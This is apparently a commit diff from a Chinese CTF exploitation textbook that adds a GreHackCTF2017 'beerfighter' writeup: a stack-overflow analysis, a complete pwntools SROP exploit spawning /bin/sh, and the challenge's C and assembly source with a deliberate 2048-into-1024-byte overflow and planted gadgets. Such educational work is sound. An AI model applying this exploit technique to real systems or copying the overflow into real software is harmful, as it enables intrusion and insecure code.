finish 6.1.5

doc/1.5.7_memory.md

@@ -51,14 +51,14 @@ x86 体系下函数的调用总是这样的：
 
 栈帧对应的汇编代码：
 ```text
-PUSH ebp          ; 函数开始（使用ebp前先把已有值保存到栈中）
+PUSH ebp        ; 函数开始（使用ebp前先把已有值保存到栈中）
-MOV ebp, esp      ; 保存当前esp到ebp中
+MOV ebp, esp    ; 保存当前esp到ebp中
 
-...       　      ; 函数体
+...             ; 函数体
-                　; 无论esp值如何变化，ebp都保持不变，可以安全访问函数的局部变量、参数
+                ; 无论esp值如何变化，ebp都保持不变，可以安全访问函数的局部变量、参数
-MOV esp, ebp    　; 将函数的其实地址返回到esp中
+MOV esp, ebp    ; 将函数的其实地址返回到esp中
-POP ebp       　  ; 函数返回前弹出保存在栈中的ebp值
+POP ebp         ; 函数返回前弹出保存在栈中的ebp值
-RET              ; 函数返回并跳转
+RET             ; 函数返回并跳转
 ```
 
 函数调用后栈的标准布局如下图：
@@ -209,7 +209,7 @@ void *sbrk(intptr_t increment);
 在上图中我们看到 brk 指示堆结束地址，start_brk 指示堆开始地址。BSS segment 和 heap 之间有一段 Random brk offset，这是由于 ASLR 的作用，如果关闭了 ASLR，则 Random brk offset 为 0，堆结束地址和数据段开始地址重合。
 
 例子：[源码](../src/Others/1.5.7_brk.c)
-```
+```C
 #include <stdio.h>
 #include <unistd.h>
 void main() {
@@ -348,7 +348,7 @@ int munmap(void *addr, size_t len);
 ```
 
 例子：[源码](../src/Others/1.5.7_mmap.c)
-```
+```C
 #include <stdio.h>
 #include <sys/mman.h>
 #include <unistd.h>
@@ -424,7 +424,7 @@ void *realloc(void *ptr, size_t size);
 ```
 
 示例：
-```
+```C
 #include<stdio.h>
 #include<malloc.h>
 void foo(int n) {

doc/6.1.4_pwn_backdoorctf2017_fun_signals.md

@@ -1,7 +1,7 @@
 # 6.1.4 pwn BackdoorCTF2017 Fun-Signals
 
 - [SROP 原理](#srop-原理)
-  - [Linux 系统调用](#Linux 系统调用)
+  - [Linux 系统调用](#linux-系统调用)
   - [signal 机制](#signal-机制)
 - [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals)
 - [参考资料](#参考资料)
@@ -155,7 +155,7 @@ io.interactive()
 ```
 ```
 $ python2 exp_funsignals.py 
-[*] '/home/firmy/Desktop/RE4B/srop/funsignals_player_bin'
+[*] '/home/firmy/Desktop/funsignals_player_bin'
     Arch:     amd64-64-little
     RELRO:    No RELRO
     Stack:    No canary found

doc/6.1.5_pwn_grehackctf2017_beerfighter.md

@@ -1,6 +1,179 @@
 # 6.1.5 pwn GreHackCTF2017 beerfighter
 
 - [题目解析](#题目解析)
+- [Exploit](#exploit)
 
 
 ## 题目解析
+```
+$ file game 
+game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=1f9b11cb913afcbbbf9cb615709b3c62b2fdb5a2, stripped
+```
+64 位，静态链接，stripped。
+
+既然是个小游戏，先玩一下，然后发现，进入 City Hall 后，有一个可以输入字符串的地方，然而即使我们什么也不输入，直接回车，在 Leave the town 时也会出现 Segmentation fault：
+```
+[0] The bar
+[1] The City Hall
+[2] The dark yard
+[3] Leave the town for ever
+Type your action number > 1
+Welcome Newcomer! I am the mayor of this small town and my role is to register the names of its citizens.
+How should I call you?
+[0] Tell him your name
+[1] Leave
+Type your action number > 0
+Type your character name here >
+
+...
+
+[0] The bar
+[1] The City Hall
+[2] The dark yard
+[3] Leave the town for ever
+Type your action number > 3
+By !
+
+Segmentation fault (core dumped)
+```
+
+程序大概清楚了，看代码吧，经过一番搜索，发现了一个很有意思的函数：
+```
+[0x00400d8e]> pdf @ fcn.00400773
+/ (fcn) fcn.00400773 15
+|   fcn.00400773 ();
+|              ; CALL XREF from 0x00400221 (fcn.004001f3)
+|              ; CALL XREF from 0x004002b6 (fcn.00400288)
+|           0x00400773      4889f8         mov rax, rdi
+|           0x00400776      4889f7         mov rdi, rsi
+|           0x00400779      4889d6         mov rsi, rdx
+|           0x0040077c      4889ca         mov rdx, rcx
+|           0x0040077f      0f05           syscall
+\           0x00400781      c3             ret
+```
+`syscall;ret`，你想到了什么，对，就是前面讲的 SROP。
+
+其实前面的输入一个字符串，程序也是通过 syscall 来读入的，从函数 `0x004004b8` 开始仔细跟踪代码后就会知道，系统调用为 `read()`。
+
+```
+gdb-peda$ pattern_offset $ebp
+1849771374 found at offset: 1040
+```
+缓冲区还挺大的，`1040+8=1048`。
+
+好，现在思路已经清晰了，先利用缓冲区溢出漏洞，用 `syscall;ret` 地址覆盖返回地址，通过 frame\_1 调用 `read()` 读入 frame_2 到 `.data` 段（这个程序没有`.bss`，而且`.data`可写），然后将栈转移过去，调用 `execve()` 执行“/bin/sh”，从而拿到 shell。
+
+构造 sigreturn：
+```
+$ ropgadget --binary game --only "pop|ret"
+...
+0x00000000004007b2 : pop rax ; ret
+```
+```python
+# sigreturn syscall
+sigreturn  = p64(pop_rax_addr)
+sigreturn += p64(constants.SYS_rt_sigreturn)    # 0xf
+sigreturn += p64(syscall_addr)
+```
+
+然后是 frame_1，通过设定 `frame_1.rsp = base_addr` 来转移栈：
+```python
+# frame_1: read frame_2 to .data
+frame_1 = SigreturnFrame()
+frame_1.rax = constants.SYS_read
+frame_1.rdi = constants.STDIN_FILENO
+frame_1.rsi = data_addr
+frame_1.rdx = len(str(frame_2))
+frame_1.rsp = base_addr             # stack pivot
+frame_1.rip = syscall_addr
+```
+
+frame_2 执行 `execve()`：
+```python
+# frame_2: execve to get shell
+frame_2 = SigreturnFrame()
+frame_2.rax = constants.SYS_execve
+frame_2.rdi = data_addr
+frame_2.rsi = 0
+frame_2.rdx = 0
+frame_2.rip = syscall_addr
+```
+
+Bingo!!!
+```
+$ python2 exp.py 
+[*] '/home/firmy/Desktop/game'
+    Arch:     amd64-64-little
+    RELRO:    Partial RELRO
+    Stack:    No canary found
+    NX:       NX enabled
+    PIE:      No PIE (0x400000)
+[+] Starting local process './game': pid 12975
+[*] Switching to interactive mode
+By !
+
+$ whoami
+firmy
+```
+
+
+## Exploit
+完整的 exp 如下，其他文件放在了[github](../src/writeup/6.1.5_pwn_grehackctf2017_beerfighter)相应文件夹中：
+```python
+from pwn import *
+
+elf = ELF('./game')
+io = process('./game')
+io.recvuntil("> ")
+io.sendline("1")
+io.recvuntil("> ")
+io.sendline("0")
+io.recvuntil("> ")
+
+context.clear()
+context.arch = "amd64"
+
+data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
+base_addr = data_addr + 0x8   # new stack address
+
+# useful gadget
+pop_rax_addr = 0x00000000004007b2   # pop rax ; ret
+syscall_addr = 0x000000000040077f   # syscall ;
+
+# sigreturn syscall
+sigreturn  = p64(pop_rax_addr)
+sigreturn += p64(constants.SYS_rt_sigreturn)    # 0xf
+sigreturn += p64(syscall_addr)
+
+# frame_2: execve to get shell
+frame_2 = SigreturnFrame()
+frame_2.rax = constants.SYS_execve
+frame_2.rdi = data_addr
+frame_2.rsi = 0
+frame_2.rdx = 0
+frame_2.rip = syscall_addr
+
+# frame_1: read frame_2 to .data
+frame_1 = SigreturnFrame()
+frame_1.rax = constants.SYS_read
+frame_1.rdi = constants.STDIN_FILENO
+frame_1.rsi = data_addr
+frame_1.rdx = len(str(frame_2))
+frame_1.rsp = base_addr             # stack pivot
+frame_1.rip = syscall_addr
+
+payload_1  = "A" * 1048
+payload_1 += sigreturn
+payload_1 += str(frame_1)
+
+io.sendline(payload_1)
+io.recvuntil("> ")
+io.sendline("3")
+
+payload_2  = "/bin/sh\x00"
+payload_2 += sigreturn
+payload_2 += str(frame_2)
+
+io.sendline(payload_2)
+io.interactive()
+```

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/Makefile

@@ -0,0 +1,40 @@
+SRC_DIR = src
+INC_DIR = inc
+OBJ_DIR = obj
+BIN_DIR = bin
+OUT_DIR = $(OBJ_DIR) $(BIN_DIR)
+
+CC = gcc
+LD = gcc
+INC = -I $(INC_DIR)
+DEBUGFLAG=-g
+CFLAGS= $(INC) -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
+LDFLAGS= -nostdlib -fno-stack-protector -Wl,-z,relro,-z,now,-z,noexecstack -static -Wno-builtin-declaration-mismatch -s
+
+MKDIR_P = mkdir -p
+
+
+.PHONY: directories
+
+
+OBJ_FILES = $(OBJ_DIR)/main.o $(OBJ_DIR)/io.o $(OBJ_DIR)/strings.o $(OBJ_DIR)/lib.o
+ASM_FILES = $(SRC_DIR)/syscalls.S $(SRC_DIR)/start.S $(SRC_DIR)/gadgets.S
+
+TARGET = $(BIN_DIR)/aaaaaa
+
+all: directories $(TARGET)
+
+directories: $(OUT_DIR)
+
+$(OUT_DIR):
+	$(MKDIR_P) $(OUT_DIR)
+
+$(TARGET): $(OBJ_FILES)
+	$(LD) $(LDFLAGS) $(OBJ_FILES) $(ASM_FILES) -o $(TARGET)
+
+$(OBJ_DIR)/%.o : $(SRC_DIR)/%.c $(INC_DIR)/*.h
+	$(CC) $(CFLAGS) -c $< -o $@
+
+.PHONY: clean
+clean:
+	rm -f $(TARGET) $(OBJ_FILES) $(BIN_DIR)/*

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/README.md

@@ -0,0 +1,9 @@
+# Exploit 250
+Category: Exploit
+
+Points: 250
+
+Author: Valno
+
+Description:
+> Play the game at: www.myabandonware.com:5500

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/exp.py

@@ -0,0 +1,56 @@
+from pwn import *
+
+elf = ELF('./game')
+io = process('./game')
+io.recvuntil("> ")
+io.sendline("1")
+io.recvuntil("> ")
+io.sendline("0")
+io.recvuntil("> ")
+
+context.clear()
+context.arch = "amd64"
+
+data_addr = elf.get_section_by_name('.data').header.sh_addr + 0x10
+base_addr = data_addr + 0x8   # new stack address
+
+# useful gadget
+pop_rax_addr = 0x00000000004007b2   # pop rax ; ret
+syscall_addr = 0x000000000040077f   # syscall ;
+
+# sigreturn syscall
+sigreturn  = p64(pop_rax_addr)
+sigreturn += p64(constants.SYS_rt_sigreturn)    # 0xf
+sigreturn += p64(syscall_addr)
+
+# frame_2: execve to get shell
+frame_2 = SigreturnFrame()
+frame_2.rax = constants.SYS_execve
+frame_2.rdi = data_addr
+frame_2.rsi = 0
+frame_2.rdx = 0
+frame_2.rip = syscall_addr
+
+# frame_1: read frame_2 to .data
+frame_1 = SigreturnFrame()
+frame_1.rax = constants.SYS_read
+frame_1.rdi = constants.STDIN_FILENO
+frame_1.rsi = data_addr
+frame_1.rdx = len(str(frame_2))
+frame_1.rsp = base_addr             # stack pivot
+frame_1.rip = syscall_addr
+
+payload_1  = "A" * 1048
+payload_1 += sigreturn
+payload_1 += str(frame_1)
+
+io.sendline(payload_1)
+io.recvuntil("> ")
+io.sendline("3")
+
+payload_2  = "/bin/sh\x00"
+payload_2 += sigreturn
+payload_2 += str(frame_2)
+
+io.sendline(payload_2)
+io.interactive()

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/io.h

@@ -0,0 +1,28 @@
+#ifndef __IO_H__
+#define __IO_H__
+
+#include "types.h"
+#include "syscall_constants.h"
+#include "syscalls.h"
+
+#define STDIN 0
+#define STDOUT 1
+#define STDERR 2
+
+static intptr write(int fd, void const* data, uintptr nbytes);
+
+uintptr strlen(char const* str);
+
+uintptr puts(char const* str);
+
+intptr read(int fd, char* buf, uintptr count);
+
+int getchar(void);
+
+char* gets(char* str);
+
+char* fgets(char *str, int n, int stream);
+
+int getdigit(char *inputphrase, int a, int b);
+
+#endif

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/lib.h

@@ -0,0 +1,26 @@
+#ifndef __LIB__H_
+#define __LIB_H__
+
+#include "syscall_constants.h"
+#include "strings.h"
+#include "io.h"
+
+#define SIZEBUF 2048
+#define SIZENAME 1024
+
+struct Character{
+        char name[SIZENAME];
+        unsigned int level;
+};
+
+void city_hall(struct Character* perso);
+
+void welcome_message();
+
+int village_place(struct Character* perso);
+
+void bar();
+
+void champion();
+
+#endif

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/strings.h

@@ -0,0 +1,6 @@
+#ifndef __STRINGS_H__
+#define __STRINGS_H__
+
+char* strncpy(char* dest, const char* src, int n);
+
+#endif

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/syscall_constants.h

@@ -0,0 +1,7 @@
+#ifndef __SYSCALL_CONSTANTS_H__
+#define __SYSCALL_CONSTANTS_H__
+
+#define SYS_read 0
+#define SYS_write 1
+
+#endif

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/syscalls.h

@@ -0,0 +1,17 @@
+#ifndef __SYSCALLS_H__
+#define __SYSCALLS_H__
+
+#include <types.h>
+
+void* syscall0(
+                uintptr number
+              );
+
+void* syscall3(
+                uintptr number,
+                void* arg1,
+                void* arg2,
+                void* arg3
+              );
+
+#endif

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/inc/types.h

@@ -0,0 +1,7 @@
+#ifndef __TYPES_H__
+#define __TYPES_H__
+
+typedef unsigned long int uintptr; /* size_t */
+typedef long int intptr; /* ssize_t */
+
+#endif

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/gadgets.S

@@ -0,0 +1,27 @@
+.intel_syntax noprefix
+.intel_syntax noprefix
+
+inc rdi
+ret
+
+xor rdi, rdi
+ret
+
+pop rsi
+ret
+
+and rdx, rsi
+ret
+
+and rcx, rsi
+ret
+
+pop r8
+ret
+
+pop rax
+ret
+
+mov dword ptr [rsi], r8d
+ret
+

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/io.c

@@ -0,0 +1,75 @@
+#include "io.h"
+
+static intptr write(int fd, void const* data, uintptr nbytes){
+        return (intptr) syscall3(
+                        SYS_write, /* SYS_write */
+                        (void*)(intptr) fd,
+                        (void*)data,
+                        (void*)nbytes
+                        );
+}
+
+uintptr strlen(char const* str){
+        char const *p;
+        for(p=str; *p; p++);
+        return p - str;
+}
+
+uintptr puts(char const* str){
+        return write(STDOUT, str, strlen(str));
+}
+
+intptr read(int fd, char* buf, uintptr count){
+        return (intptr) syscall3(
+                        SYS_read,
+                        (void*)(intptr) fd,
+                        (void*) buf,
+                        (void*) count
+                        );
+}
+
+int getchar(void){
+        char c[1];
+        read(STDIN, c, 1);
+        return (int) c[0];
+}
+
+char* gets(char* str){
+        char c;
+        char *r = str;
+        for(c=getchar(); c != '\n' && c != '\0'; str++, c=getchar()){
+                *str = c;
+        }
+        *str = '\0';
+        return r;
+}
+
+char* fgets(char *str, int n, int stream){
+        char c=getchar();
+        int i = 0;
+        char *r = str;
+        char d[2];
+        while(c != '\n'){
+                if(i<n-1){
+                        *str = c;
+                        str++;
+                }
+                i++;
+                c = getchar();
+        }
+        *str = '\0';
+        return r;
+}
+
+int getdigit(char *inputphrase, int a, int b){
+        char str[3];
+        puts(inputphrase);
+        fgets(str, 3, STDIN);
+        while(strlen(str) != 1 || str[0]>57-9+b || str[0]<48+a){
+                puts("Invalid number, try again.\n");
+                puts(inputphrase);
+                fgets(str, 3, STDIN);
+                puts("\n");
+        }
+        return str[0]-48;
+}

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/lib.c

@@ -0,0 +1,144 @@
+#include "lib.h"
+
+
+void welcome_message(){
+        char *message = "\n"
+                "__________________________________\n"
+                "\n"
+                "--- Welcome in  BeerFigher III ---\n"
+                "__________________________________\n"
+                "\n"
+                "You just arrived in the small village of Foo in\n"
+                "the country, after a long day of travel.\n"
+                "Thirsty, you could just go and grab a beer at the\n"
+                "bar. You may also go in the city hall and get\n"
+                "registered with the mayor.\n"
+                "\n"
+                "\n";
+        puts(message);
+}
+
+void city_hall(struct Character* perso){
+        char digit;
+        char name[SIZEBUF];
+        puts("Welcome ");
+        puts(perso->name);
+        puts("! I am the mayor of this small town and my role is to register the names of its citizens.\nHow should I call you?\n");
+        puts("[0] Tell him your name\n");
+        puts("[1] Leave\n");
+        digit = getdigit("Type your action number > ", 0, 1);
+
+        switch(digit){
+        case 0:
+                puts("Type your character name here > ");
+                fgets(name, SIZEBUF, STDIN);
+                strncpy(perso->name, name, SIZEBUF);
+                puts("\n");
+                break;
+        case 1:
+                puts("You just left the old man without even saying \"Good bye\"\n");
+                break;
+        default:
+                puts("Invalid action\n");
+                break;
+        }
+}
+
+int village_place(struct Character* perso){
+        char *message = "\n\n"
+		"   ~         ~~          __\n"
+		"        _T      .,,.    ~--~ ^^\n"
+		"  ^^   // \\                    ~\n"
+		"       ][O]    ^^      ,-~ ~\n"
+		"    /''-I_I         _II____\n"
+		" __/_  /   \\ ______/ ''   /'\\_,__\n"
+		"   | II--'''' \\,--:--..,_/,.-{ },\n"
+		" ; '/__\\,.--';|   |[] .-.| O{ _ }\n"
+		" :' |  | []  -|   ''--:.;[,.'\\,/\n"
+		" '  |[]|,.--'' '',   ''-,.    |\n"
+		"   ..    ..-''    ;       ''. '\n"
+                "\n"
+                "You are in the village square.\n"
+                "In front of you can see the entrance of the local\n"
+                "bar from where one could hear laughter and singing.\n"
+                "On your\n"
+                "left stands is the massive front of the city hall that\n"
+                "dominates the village. On your right, in the \n"
+                "shadow of the bar, an alley filled with unconscious bodies and\n"
+                "empty pints leads to a dark yard where the most\n"
+                "valiant barflies of the country can face each other.\n"
+                "It's time to choose in which place you will enter !\n"
+                "------------\n\n";
+        char *choice0 = "[0] The bar\n";
+        char *choice1 = "[1] The City Hall\n";
+        char *choice2 = "[2] The dark yard\n";
+        char *choice3 = "[3] Leave the town for ever\n";
+
+        puts(message);
+        puts(choice0);
+        puts(choice1);
+        puts(choice2);
+        puts(choice3);
+        int digit = getdigit("Type your action number > ", 0, 3);
+
+        switch(digit){
+        case 0:
+                bar();
+                break;
+        case 1:
+                city_hall(perso);
+                break;
+        case 2:
+                champion();
+                break;
+        case 3:
+                puts("By !\n");
+                return 0;
+                break;
+        default:
+                puts("Invalid choice\n");
+                break;
+        }
+        return 1;
+}
+
+void bar(){
+        char digit;
+        char *message = "\n\n" 
+                "   _.._..,_,_ \n"
+		"  (          )\n"
+		"   ]~,\"-.-~~[	  Welcome in Foo bar\n"
+		" .=])' (;  ([            ---\n"
+		" | ]:: '    [   We are currently close\n"
+		" '=]): .)  ([   Please, come back later\n"
+		"   |:: '    |\n"
+		"    ~~----~~\n"
+                "\n\n";
+        puts(message);
+
+        puts("[0] Leave\n");
+        digit = getdigit("Type your action number > ", 0, 0);
+        switch(digit){
+        case 0:
+                puts("You just left the bar\n");
+                break;
+        default:
+                puts("Invalid action\n");
+                break;
+        }
+}
+
+void champion(){
+        char digit;
+        puts("\n\n-- Feature currently in development...\n\n");
+        puts("[0] Leave\n");
+        digit = getdigit("Type your action number > ", 0, 0);
+        switch(digit){
+        case 0:
+                puts("You just left the yard\n");
+                break;
+        default:
+                puts("Invalid action\n");
+                break;
+        }
+}

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/main.c

@@ -0,0 +1,16 @@
+#include "syscalls.h"        
+#include "io.h"
+#include "lib.h"
+
+char a[6] = {5, 8, 7, 6, 2, 7};
+
+int main(int argc, char **argv){
+        struct Character perso = { "Newcomer", 0};
+
+        welcome_message();
+        while(village_place(&perso));
+
+        puts("\n");
+
+        return 0;
+}

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/start.S

@@ -0,0 +1,18 @@
+.intel_syntax noprefix
+
+.text
+.globl _start
+
+_start:
+xor rbp, rbp /* rbp = 0 */
+pop rdi /* rdi = argc */
+mov rsi, rsp /*rsi = (char*) argv[] */
+and rsp, -16 /* last 4 bytes of rsp to 0 */
+
+call main
+
+mov rdi, rax /* syscall param 1 = return value of main */
+mov rax, 60 /* SYS_exit */
+syscall
+
+ret

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/strings.c

@@ -0,0 +1,10 @@
+#include "strings.h"
+
+char* strncpy(char* dest, const char* src, int n){
+        char* r = dest;
+        for(int i=0; i<n; i++, src++, dest++)
+                *dest = *src;
+        *dest = 0;
+
+        return r;
+}

src/writeup/6.1.5_pwn_grehackctf2017_beerfighter/src/syscalls.S

@@ -0,0 +1,17 @@
+.intel_syntax noprefix
+
+.text
+.globl syscall0, syscall1, syscall2, syscall3, syscall4, syscall5
+
+syscall0:
+    mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
+    syscall        /* enter syscall */
+    ret
+ 
+syscall3:
+    mov rax, rdi /* rax (syscall number) = function param 1 (rdi) */
+    mov rdi, rsi /* rdi (syscall param 1) = func param 2 (rsi) */
+    mov rsi, rdx /* rsi (syscall param 2) = func param 3 (rdx) */
+    mov rdx, rcx /* rdx (syscall param 3) = func param 4 (rcx) */
+    syscall        /* enter syscall */
+    ret